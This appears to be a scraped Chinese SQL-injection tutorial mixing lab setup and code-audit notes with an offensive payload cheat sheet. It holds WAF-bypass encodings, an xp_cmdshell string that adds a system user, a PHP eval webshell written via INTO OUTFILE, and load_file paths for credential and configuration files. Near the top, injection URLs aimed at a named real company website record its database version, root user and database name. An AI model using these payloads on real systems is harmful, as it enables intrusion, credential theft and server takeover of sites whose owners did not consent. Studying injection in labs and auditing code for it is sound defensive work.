渗透测试-注入攻击专题_第19张图片
渗透测试-注入攻击专题_第20张图片
渗透测试-注入攻击专题_第21张图片
渗透测试-注入攻击专题_第22张图片
渗透测试-注入攻击专题_第23张图片
渗透测试-注入攻击专题_第24张图片
渗透测试-注入攻击专题_第25张图片
渗透测试-注入攻击专题_第26张图片
渗透测试-注入攻击专题_第27张图片
渗透测试-注入攻击专题_第28张图片
渗透测试-注入攻击专题_第29张图片
渗透测试-注入攻击专题_第30张图片
渗透测试-注入攻击专题_第31张图片
在这里插入图片描述
渗透测试-注入攻击专题_第32张图片
在这里插入图片描述
渗透测试-注入攻击专题_第33张图片
在这里插入图片描述
在这里插入图片描述
渗透测试-注入攻击专题_第34张图片
在这里插入图片描述
渗透测试-注入攻击专题_第35张图片
渗透测试-注入攻击专题_第36张图片
渗透测试-注入攻击专题_第37张图片
渗透测试-注入攻击专题_第38张图片
渗透测试-注入攻击专题_第39张图片
在这里插入图片描述
在这里插入图片描述
渗透测试-注入攻击专题_第40张图片
渗透测试-注入攻击专题_第41张图片
渗透测试-注入攻击专题_第42张图片
渗透测试-注入攻击专题_第43张图片
在这里插入图片描述
在这里插入图片描述
渗透测试-注入攻击专题_第44张图片
渗透测试-注入攻击专题_第45张图片
渗透测试-注入攻击专题_第46张图片
在这里插入图片描述
渗透测试-注入攻击专题_第47张图片
渗透测试-注入攻击专题_第48张图片
在这里插入图片描述
在这里插入图片描述
渗透测试-注入攻击专题_第49张图片
渗透测试-注入攻击专题_第50张图片
在这里插入图片描述
渗透测试-注入攻击专题_第51张图片
渗透测试-注入攻击专题_第52张图片
渗透测试-注入攻击专题_第53张图片
渗透测试-注入攻击专题_第54张图片
渗透测试-注入攻击专题_第55张图片
渗透测试-注入攻击专题_第56张图片
渗透测试-注入攻击专题_第57张图片
渗透测试-注入攻击专题_第58张图片
渗透测试-注入攻击专题_第59张图片渗透测试-注入攻击专题_第60张图片

渗透测试-注入攻击专题_第61张图片
渗透测试-注入攻击专题_第62张图片
渗透测试-注入攻击专题_第63张图片渗透测试-注入攻击专题_第64张图片

渗透测试-注入攻击专题_第65张图片
渗透测试-注入攻击专题_第66张图片
渗透测试-注入攻击专题_第67张图片

 http://www.cowinbio.com/



属于mysql4.0 注入一个实例

路径:/usr/local/webroot/cw/product/introduction.php

mywebmanage/conn.php

http://www.cowinbio.com/product/introduction.php?id=-65 union select load_file('/usr/local/webroot/cw/product/introduction.php'),2

http://www.cowinbio.com/product/introduction.php?id=65%20order%20by%202

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2

version():4.1.22-standard
user():root@localhost
database():cw

http://www.cowinbio.com/product/introduction.php?id=65 union select 1,2 

load_file()

sqlmap -u url注入地址 --sql-shell 执行sql命令




mysql5.0  

into outfile 
information

渗透测试基础-sql注入

渗透测试-注入攻击专题_第68张图片

  • 绕过 waf
  • 写shell

概念

sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。

详情: 注入 空格 漏洞 空格


本质

输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件

  • 参数用户可控
  • 参数带入数据库查询

eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=

发布者:admin

参数带入 加入语句被执行

iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
渗透测试-注入攻击专题_第69张图片

url 查询处?xxx=xx 加

’ 正常报错 存在注入漏洞

and 1=1 正常返回页面
and 直接返回页面 过滤了and

or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号

or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点

过滤了=号 我就用><号代替=号

or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页

-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)

说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过

手动注入基本知识

渗透测试-注入攻击专题_第70张图片

实战演练

  • 猜测字段 order by 10 (猜测有10个字段)

防注入技术的突破

  • 关键字绕过
  • 防注入程序都过滤了以下关键字:
    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

针对AND与“’”号和“=”号 select 等过滤的突破

PS:

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31,

而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’

由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过

or ’swords’ =’swords’

4、通过类型转换修饰符N绕过
程度 绕过限制,而且还有别的作用
关于利用

or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )

6、通过LIKE绕过

如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……

7、通过IN绕过

or ’swords’ IN (’swords’)

8、通过BETWEEN绕过

or ’swords’ BETWEEN ’rw’ AND ’tw’

9、通过>或者<绕过
or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……
10、运用注释语句绕过
空格,tab键和注释符/**/可以用来切割sql关键字

回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了

用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser

用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser

只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的

ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。

至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。

中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了

字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)


通用点的过滤方法

  • 采用赋值的方法
    先声明一个变量a,然后把我们的指令赋值给a,
    然后调用变量a最终执行我们输入的命令。
    变量a可以是任何命令。

如下:
  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–

其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”

mssql的多语句问题

必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’

select * from table/**/exec xp_cmdshell’xxxxxxxxxx’

select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’

select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’

的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)

宽字节注⼊

注⼊产⽣的原理
  • 源于程序员设置MySQL连接时错误配置 set character_set_client=gbk
  • 引发编码转换从⽽导致的注⼊漏洞

正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时

⿊客使⽤的 单引号 ’ 就会 被转义为: ';

  • 如果存在宽字节注⼊
  • 输⼊%df%27时 经过上⾯提到的单引号转义变成了
    %df%5c%27(%5c是反斜杠\)
  • 之后 在数据库查询前 由于使⽤了GBK多字节编码
    即在 汉字编码范围内两个字节会被编码为⼀个汉字。
  • 然后MySQL服务器会对查询语句进⾏GBK编码
    即%df%5c转换成了汉字“運”,
    ⽽单引号逃逸了出来,从⽽造成了注⼊漏洞

GBK编码导致宽字节注⼊

  • GBK编码是数据库编码,跟前台的编码⽆关

GBK转UTF-8

  • 我们输⼊%df%27时
  • 单引号转义变成了%df%5c%27(%5c是反斜杠\),
  • 然后%df%5c正好属于gbk的汉字编码范围,
  • 经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引
    号逃脱出来。

UTF-8转GBK

  • “錦”,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c, 反斜杠\正好为%5c。
  • 如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦
    \’,
  • 然后会经过icnov函数会对”錦”转化为gbk编码
  • 最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

 判断是否存在SQL注入
'
and 1=1
and 1=2

暴字段长度
Order by 数字

匹配字段
and 1=1 union select 1,2,..,n

暴字段位置
and 1=2 union select 1,2,..,n
 
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() 
and 1=2 union all select database() 
and 1=2 union all select user() 
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user 
数据库权限:
and ord(mid(user(),1,1))=114  返回正常说明为root
 
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

  1replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15/etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17/etc/my.cnf MYSQL的配置文件
  18/etc/redhat-release 红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21/usr/local/app/php5 b/php.ini //PHP相关设置
  22/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX)char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))

渗透测试-注入攻击专题_第71张图片渗透测试-注入攻击专题_第72张图片渗透测试-注入攻击专题_第73张图片渗透测试-注入攻击专题_第74张图片渗透测试-注入攻击专题_第75张图片渗透测试-注入攻击专题_第76张图片渗透测试-注入攻击专题_第77张图片
渗透测试-注入攻击专题_第78张图片渗透测试-注入攻击专题_第79张图片渗透测试-注入攻击专题_第80张图片渗透测试-注入攻击专题_第81张图片渗透测试-注入攻击专题_第82张图片渗透测试-注入攻击专题_第83张图片渗透测试-注入攻击专题_第84张图片渗透测试-注入攻击专题_第85张图片渗透测试-注入攻击专题_第86张图片渗透测试-注入攻击专题_第87张图片渗透测试-注入攻击专题_第88张图片渗透测试-注入攻击专题_第89张图片渗透测试-注入攻击专题_第90张图片渗透测试-注入攻击专题_第91张图片渗透测试-注入攻击专题_第92张图片渗透测试-注入攻击专题_第93张图片渗透测试-注入攻击专题_第94张图片在这里插入图片描述渗透测试-注入攻击专题_第95张图片渗透测试-注入攻击专题_第96张图片渗透测试-注入攻击专题_第97张图片渗透测试-注入攻击专题_第98张图片在这里插入图片描述

代码审计——sql注入漏洞常规挖掘分析/实战

渗透测试-注入攻击专题_第99张图片

- 挖掘方法

渗透测试-注入攻击专题_第100张图片- 数据库操作性 函数 写到配置环境 (暂时忽略)


在这里插入图片描述


PHP mysql_real_escape_string() 函数

  • 转义 SQL 语句中使用的字符串中的特殊字符
  • 下列字符受影响:

\x00
\n
\r
\

"
\x1a

  • 如果成功,则该函数返回被转义的字符串。
    如果失败,则返回 false。
    渗透测试-注入攻击专题_第101张图片

PHP addslashes() 函数

  • ——返回在 预定义字符 之前 添加反斜杠 的 字符串。
  • 预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:
可用于 为存储 在 数据库 中的 字符串以及数据库查询语句 准备字符串。

注释:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。 在这里插入图片描述


PHP htmlentities() 函数

  • ——把字符转换为 HTML 实体。
    提示:
    要把 HTML 实体转换回字符,请使用 html_entity_decode() 函数。
    请使用 get_html_translation_table() 函数 来返回 htmlentities() 使用的翻译表。渗透测试-注入攻击专题_第102张图片渗透测试-注入攻击专题_第103张图片渗透测试-注入攻击专题_第104张图片

PHP htmlspecialchars() 函数

  • ——把一些预定义的字符转换为 HTML 实体
预定义的字符是:

& (和号) 成为 &
" (双引号) 成为 "
' (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >

渗透测试-注入攻击专题_第105张图片

在这里插入图片描述渗透测试-注入攻击专题_第106张图片在这里插入图片描述


PHP strip_tags() 函数

  • ——剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。

渗透测试-注入攻击专题_第107张图片
在这里插入图片描述


PHP md5() 函数

  • ——md5() 函数计算字符串的 MD5 散列。

  • ——md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。

在这里插入图片描述 渗透测试-注入攻击专题_第108张图片


PHP sha1() 函数

  • ——sha1() 函数计算字符串的 SHA-1 散列。

  • ——sha1() 函数使用美国 Secure Hash 算法 1

在这里插入图片描述 渗透测试-注入攻击专题_第109张图片

PHP intval() 函数

  • ——函数用于获取变量的整数值。

  • ——通过使用指定的进制 base 转换(默认是十进制)
    返回变量 var 的 integer 数值。

  • —— intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

渗透测试-注入攻击专题_第110张图片 渗透测试-注入攻击专题_第111张图片

# 适用人群

  • 安全开发
  • 程序员
  • 渗透测试人员
    渗透测试-注入攻击专题_第112张图片渗透测试-注入攻击专题_第113张图片在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • id=1 写死
  • 可操控 $_POST 接收
    渗透测试-注入攻击专题_第114张图片
  • 安全函数 查看是否严谨
  • 注入 是否进行限制
  • 来判断 sql注入漏洞 在这个地方 是否存在

# 数据库监控

  • 监控插件 监控sql操作语句词型
  • 访问 网站特殊地址 查看数据库操作语句 执行在 哪个地方
  • 追寻代码 文件地址
  • 跟踪 代码是否可控 绕过
    渗透测试-注入攻击专题_第115张图片在这里插入图片描述渗透测试-注入攻击专题_第116张图片渗透测试-注入攻击专题_第117张图片
  • 分析 哪个语句 跟当前 访问页面 参数相关
  • 尝试 更改参数 追加确认

渗透测试-注入攻击专题_第118张图片

  • 作为全局搜索在这里插入图片描述
  • 如果不确定 就打开一个 注释下
    渗透测试-注入攻击专题_第119张图片
  • 更改参数 查看页面状态

渗透测试-注入攻击专题_第120张图片

  • 语句注释 后 页面报错
  • 确认是 当前页面 代码文件

渗透测试-注入攻击专题_第121张图片

  • 注意传值方法
  • 追踪该方法有没有相关 绕过 过滤 条件
  • 若没有 可能存在注入点

#实战挖掘#

渗透测试-注入攻击专题_第122张图片渗透测试-注入攻击专题_第123张图片渗透测试-注入攻击专题_第124张图片渗透测试-注入攻击专题_第125张图片

  • 变量全局 搜索渗透测试-注入攻击专题_第126张图片在这里插入图片描述在这里插入图片描述
  • 访问相关文件在这里插入图片描述渗透测试-注入攻击专题_第127张图片
  • 传入 验证绕过 所需 参数
  • 并且开启 数据库监控
  • 补足 验证条件
    在这里插入图片描述
    渗透测试-注入攻击专题_第128张图片在这里插入图片描述渗透测试-注入攻击专题_第129张图片渗透测试-注入攻击专题_第130张图片在这里插入图片描述
  • 构造 ?id=1 order = 1 &u …

在这里插入图片描述

  • %23 -----> #
    在这里插入图片描述

  • 盲注测试

渗透测试-注入攻击专题_第131张图片渗透测试-注入攻击专题_第132张图片

  • 构造 ?id=1 union select 1,2,3 &u …在这里插入图片描述
  • 页面 注入 测试
    在这里插入图片描述
  • 联合注入 失败
  • 测试盲注

在这里插入图片描述在这里插入图片描述

  • 0.5 ---->延时2s

  • 一般延时注入 要比 联合注入 通用性好

# 总结

  • 访问敏感页面

  • 监控数据库

  • 查找执行出处函数 方法

  • 监控 出处 处 变量

  • 追踪变量 是否过滤

  • sql是否存在

  • 关键字搜索 ——任何漏洞挖掘 比较常用

  • 数据库监控—— 类似于 SQL注入这种相应

网络安全高手的进阶蜕变之旅

web安全工程师-01-SQL注入漏洞原理与利用

1.1 Web应用架构分析

1998 年 至今 20多年 了

爆出 sql 注入 导致 大量数据泄露

发现问题 —> 规避 sql注入 带来的 风险
研究 web框架 能 使我们 更熟悉 框架审计 中 注入的 原理
渗透测试-注入攻击专题_第133张图片

B/S 架构 开始 的时候 数据库 和网站 在同一台服务器 上

webapp 网站 放在 容器里
容器和数据库 软件 安装在 操作系统里
逻辑对 数据库的操作 来实现 网站功能

渗透测试-注入攻击专题_第134张图片
之后 互联网技术 发展
大量数据 大量请求 需要 web应用来处理
渗透测试-注入攻击专题_第135张图片
集群效果

渗透测试-注入攻击专题_第136张图片
中间件 容器
渗透测试-注入攻击专题_第137张图片
渗透测试-注入攻击专题_第138张图片
渗透测试-注入攻击专题_第139张图片渗透测试-注入攻击专题_第140张图片
渗透测试-注入攻击专题_第141张图片

渗透测试-注入攻击专题_第142张图片

渗透测试-注入攻击专题_第143张图片
渗透测试-注入攻击专题_第144张图片渗透测试-注入攻击专题_第145张图片
渗透测试-注入攻击专题_第146张图片




1.2 SQLi注入环境搭建

在这里插入图片描述
渗透测试-注入攻击专题_第147张图片
渗透测试-注入攻击专题_第148张图片渗透测试-注入攻击专题_第149张图片

部分漏洞 需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包

渗透测试-注入攻击专题_第150张图片
渗透测试-注入攻击专题_第151张图片
渗透测试-注入攻击专题_第152张图片渗透测试-注入攻击专题_第153张图片

工程配置信息 路径等

渗透测试-注入攻击专题_第154张图片
部署的代码

渗透测试-注入攻击专题_第155张图片
需要的应用

渗透测试-注入攻击专题_第156张图片
渗透测试-注入攻击专题_第157张图片
渗透测试-注入攻击专题_第158张图片
渗透测试-注入攻击专题_第159张图片
渗透测试-注入攻击专题_第160张图片渗透测试-注入攻击专题_第161张图片
渗透测试-注入攻击专题_第162张图片渗透测试-注入攻击专题_第163张图片
渗透测试-注入攻击专题_第164张图片渗透测试-注入攻击专题_第165张图片在这里插入图片描述渗透测试-注入攻击专题_第166张图片

windows 和 linux 换行符 不一样 导致 记事本不换行

渗透测试-注入攻击专题_第167张图片在这里插入图片描述渗透测试-注入攻击专题_第168张图片渗透测试-注入攻击专题_第169张图片
渗透测试-注入攻击专题_第170张图片
渗透测试-注入攻击专题_第171张图片
在这里插入图片描述

不同难度级别

渗透测试-注入攻击专题_第172张图片渗透测试-注入攻击专题_第173张图片

Linux docker 安装 sqli labs
渗透测试-注入攻击专题_第174张图片
docker images

渗透测试-注入攻击专题_第175张图片
docker search sqli-labs
渗透测试-注入攻击专题_第176张图片
docker pull acgpiano/sqli-labs

渗透测试-注入攻击专题_第177张图片
渗透测试-注入攻击专题_第178张图片
docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs

后台运行
再命名
本地:docker 端口 —端口映射
创建 清理镜像
渗透测试-注入攻击专题_第179张图片
渗透测试-注入攻击专题_第180张图片渗透测试-注入攻击专题_第181张图片渗透测试-注入攻击专题_第182张图片渗透测试-注入攻击专题_第183张图片渗透测试-注入攻击专题_第184张图片
渗透测试-注入攻击专题_第185张图片
边看代码 边学习 注入

1.3 SQL注入原理分析

渗透测试-注入攻击专题_第186张图片
渗透测试-注入攻击专题_第187张图片渗透测试-注入攻击专题_第188张图片在这里插入图片描述渗透测试-注入攻击专题_第189张图片
渗透测试-注入攻击专题_第190张图片
注意 返回 长度 select 1,version()
渗透测试-注入攻击专题_第191张图片
docker exec -it xxxname /bin/bash
渗透测试-注入攻击专题_第192张图片渗透测试-注入攻击专题_第193张图片渗透测试-注入攻击专题_第194张图片渗透测试-注入攻击专题_第195张图片
渗透测试-注入攻击专题_第196张图片
渗透测试-注入攻击专题_第197张图片
用1 来 占位

渗透测试-注入攻击专题_第198张图片
在这里插入图片描述

渗透测试-注入攻击专题_第199张图片

渗透测试-注入攻击专题_第200张图片

# %23 注释符号

渗透测试-注入攻击专题_第201张图片
渗透测试-注入攻击专题_第202张图片
在这里插入图片描述
渗透测试-注入攻击专题_第203张图片
渗透测试-注入攻击专题_第204张图片

MySQL注入方法逻辑运算及常用函数

在这里插入图片描述渗透测试-注入攻击专题_第205张图片渗透测试-注入攻击专题_第206张图片
渗透测试-注入攻击专题_第207张图片渗透测试-注入攻击专题_第208张图片
渗透测试-注入攻击专题_第209张图片渗透测试-注入攻击专题_第210张图片渗透测试-注入攻击专题_第211张图片渗透测试-注入攻击专题_第212张图片
渗透测试-注入攻击专题_第213张图片
渗透测试-注入攻击专题_第214张图片
在这里插入图片描述渗透测试-注入攻击专题_第215张图片
渗透测试-注入攻击专题_第216张图片渗透测试-注入攻击专题_第217张图片
渗透测试-注入攻击专题_第218张图片渗透测试-注入攻击专题_第219张图片
渗透测试-注入攻击专题_第220张图片渗透测试-注入攻击专题_第221张图片
渗透测试-注入攻击专题_第222张图片

~ 0x7e

渗透测试-注入攻击专题_第223张图片渗透测试-注入攻击专题_第224张图片
渗透测试-注入攻击专题_第225张图片
渗透测试-注入攻击专题_第226张图片
渗透测试-注入攻击专题_第227张图片渗透测试-注入攻击专题_第228张图片
渗透测试-注入攻击专题_第229张图片
渗透测试-注入攻击专题_第230张图片
渗透测试-注入攻击专题_第231张图片
渗透测试-注入攻击专题_第232张图片
渗透测试-注入攻击专题_第233张图片
渗透测试-注入攻击专题_第234张图片渗透测试-注入攻击专题_第235张图片
渗透测试-注入攻击专题_第236张图片
在这里插入图片描述
渗透测试-注入攻击专题_第237张图片
渗透测试-注入攻击专题_第238张图片渗透测试-注入攻击专题_第239张图片
渗透测试-注入攻击专题_第240张图片
渗透测试-注入攻击专题_第241张图片
渗透测试-注入攻击专题_第242张图片
渗透测试-注入攻击专题_第243张图片
渗透测试-注入攻击专题_第244张图片
渗透测试-注入攻击专题_第245张图片

在这里插入图片描述
在这里插入图片描述
渗透测试-注入攻击专题_第246张图片渗透测试-注入攻击专题_第247张图片在这里插入图片描述
渗透测试-注入攻击专题_第248张图片

登陆处 注入 构造 万能密码

 'or '1'='1

渗透测试-注入攻击专题_第249张图片
渗透测试-注入攻击专题_第250张图片

时间延时注入

在这里插入图片描述渗透测试-注入攻击专题_第251张图片渗透测试-注入攻击专题_第252张图片

updatexml
渗透测试-注入攻击专题_第253张图片
xpath格式 渗透测试-注入攻击专题_第254张图片渗透测试-注入攻击专题_第255张图片
在这里插入图片描述
报错注入

SQL注入流程

渗透测试-注入攻击专题_第256张图片
渗透测试-注入攻击专题_第257张图片
灵活构造参数 用于 搜索引擎

页面爬取 动态链接 去依次 注入 测试

渗透测试-注入攻击专题_第258张图片
渗透测试-注入攻击专题_第259张图片
渗透测试-注入攻击专题_第260张图片
渗透测试-注入攻击专题_第261张图片
渗透测试-注入攻击专题_第262张图片
渗透测试-注入攻击专题_第263张图片渗透测试-注入攻击专题_第264张图片渗透测试-注入攻击专题_第265张图片
这种 更适用于 有 登陆验证授权 或 cookie 的 案例
渗透测试-注入攻击专题_第266张图片
在这里插入图片描述
渗透测试-注入攻击专题_第267张图片渗透测试-注入攻击专题_第268张图片

* 用在 漏洞 sql注入 特别了解

渗透测试-注入攻击专题_第269张图片
黑盒测试
渗透测试-注入攻击专题_第270张图片

白盒测试 寻找 测试点
渗透测试-注入攻击专题_第271张图片
渗透测试-注入攻击专题_第272张图片
id 参数 存在 sql注入 漏洞

从 sql命令 往上找 反向
GET POST 用户数据 正向

渗透测试-注入攻击专题_第273张图片渗透测试-注入攻击专题_第274张图片
flask路由 对 用户 输入 地址识别
进入不同方法 进行处理
渗透测试-注入攻击专题_第275张图片

直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据
渗透测试-注入攻击专题_第276张图片
直接 insert 添加到 数据库中

渗透测试-注入攻击专题_第277张图片
密码做了 hash 处理 没法 对 数据库 直接操作

username 做了 正则匹配 也没办法

email 邮箱 注册 验证
渗透测试-注入攻击专题_第278张图片
邮箱 没有对 输入内容 进行验证
渗透测试-注入攻击专题_第279张图片
渗透测试-注入攻击专题_第280张图片
构造 payload
渗透测试-注入攻击专题_第281张图片
渗透测试-注入攻击专题_第282张图片
Microsoft JET Access 数据库

渗透测试-注入攻击专题_第283张图片
mysql 5.x 存在 用数据语句 内置库 表 列 -->查询 关键数据

access 不存在 库信息
在这里插入图片描述
渗透测试-注入攻击专题_第284张图片
在这里插入图片描述
渗透测试-注入攻击专题_第285张图片
sqlserver sa权限 执行系统命令
在这里插入图片描述

mysql 权限 低 不能直接执行系统命令
读文件 配置文件
tomcat 管理员管理密码 部署webshell 变相提权
读取 数据库配置文件 - 账号密码

写文件 --os-shell
php-mysql 写一个 webshell 到 网站目录 执行系统命令 变相提权

SQL手工注入方法

渗透测试-注入攻击专题_第286张图片渗透测试-注入攻击专题_第287张图片
引擎层
实现 数据 存取
定义 数据 存储 的 格式 方式

sql层
特定的 语法 完成 数据库任务执行
执行结果 处理 返回 可识别信息

连接层
通讯协议 线程 验证

渗透测试-注入攻击专题_第288张图片
结构化 查询语句
授权
数据库 定义 控制 操作 查询 语言
解析器
优化器
执行器
引擎层
缓存

了解基础原理

渗透测试-注入攻击专题_第289张图片
库 xx小学
表 xx年级xx班
列 序号 学号 姓名 性别
数据 1 x x x

库 功能 操作

mysql 账户信息
sys 元数据信息
performance_schema 性能参数 参数设置 收集
information_schema 访问 元数据

渗透测试-注入攻击专题_第290张图片渗透测试-注入攻击专题_第291张图片渗透测试-注入攻击专题_第292张图片渗透测试-注入攻击专题_第293张图片在这里插入图片描述渗透测试-注入攻击专题_第294张图片渗透测试-注入攻击专题_第295张图片渗透测试-注入攻击专题_第296张图片
十六进制 不需要 单引号 ’ '包裹

1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。
